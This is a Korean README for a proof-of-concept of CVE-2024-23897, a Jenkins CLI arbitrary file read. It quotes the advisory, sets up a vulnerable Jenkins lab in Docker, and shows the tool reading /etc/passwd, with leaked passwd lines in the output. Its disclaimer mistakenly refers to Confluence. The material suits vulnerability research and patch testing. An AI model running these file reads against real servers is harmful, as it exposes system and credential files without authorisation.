
이 저장소는 CVE-2024-23897의 개념 증명(proof-of-concept)을 제시합니다.
이 저장소는 CVE-2024-23897에 대한 개념 증명(PoC)을 제공합니다. (SonarSource에 의해 발견됨)
이 코드는 취약점의 개념 증명입니다. 저는 누구도 소유하지 않은 컨플루언스 인스턴스에서 이를 사용하도록 권장하지 않습니다.
이 도구는 연구 및 교육 목적으로만 개발되었으며, 이 도구를 사용함으로써 발생하는 어떤 결과에 대해서도 책임을 지지 않습니다.
Jenkins Security Advisory 2024-01-24 에 따르면: Jenkins는 CLI 명령을 처리할 때 Jenkins 컨트롤러에서 명령 인수와 옵션을 파싱하기 위해 args4j 라이브러리를 사용합니다. 이 명령 파서에는 인수의 @ 문자 뒤에 오는 파일 경로를 파일의 내용으로 대체하는 기능(expandAtFiles)이 있습니다. 이 기능은 기본적으로 활성화되어 있으며, Jenkins 2.441 및 이전 버전, LTS 2.426.2 및 이전 버전에서는 이를 비활성화하지 않습니다. 이로 인해 공격자는 Jenkins 컨트롤러 프로세스의 기본 문자 인코딩을 사용하여 Jenkins 컨트롤러 파일 시스템의 임의 파일을 읽을 수 있습니다.
$ python3 CVE-2024-23897.py -h
usage: CVE-2024-23897.py [-h] -u URL -f FILENAME
This is a POC for CVE-2024-23897 (Jenkins file read)
options:
-h, --help show this help message and exit
-u URL Url
-f FILENAME Filename
docker pull jenkins/jenkins:2.440-jdk17
docker run -p 8080:8080 jenkins/jenkins:2.440-jdk17
$ python3 CVE-2024-23897.py -u http://127.0.0.1:8080 -f '/etc/passwd'
[+] Trying to recover /etc/passwd
[+] Data recovered:
ERROR: Too many arguments: daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
java -jar jenkins-cli.jar help
[COMMAND]
Lists all the available commands or a detailed description of single command.
COMMAND : Name of the command (default: root:x:0:0:root:/root:/bin/bash)